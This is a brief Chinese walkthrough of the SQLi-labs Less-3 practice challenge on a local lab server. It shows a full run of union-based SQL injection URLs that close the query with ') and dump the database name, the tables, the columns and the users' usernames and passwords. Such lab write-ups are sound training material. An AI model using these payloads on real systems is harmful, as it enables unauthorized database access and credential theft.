首先看题目,提示请输入ID作为带数值的参数
将ID带数值进行访问
加'
判断有无注入,发现报错存在注入。
查看报错结果发现ID参数是通过')
来闭合的,使用其进行闭合。
猜测列数
http://192.168.0.5:9002/Less-3/?id=5%27) order by 3 --+
http://192.168.0.5:9002/Less-3/?id=-5%27) union select 1,2,3 --+
爆数据库名
http://192.168.0.5:9002/Less-3/?id=-5%27) union select 1,version(),database() --+
爆表名
http://192.168.0.5:9002/Less-3/?id=-5%27) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆字段名
http://192.168.31.164:9002/Less-3/?id=-5%27) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=%27users%27--+
爆内容,获得用户名密码
http://192.168.31.164:9002/Less-3/?id=-5%27) union select 1,group_concat(username),group_concat(password) from security.users--+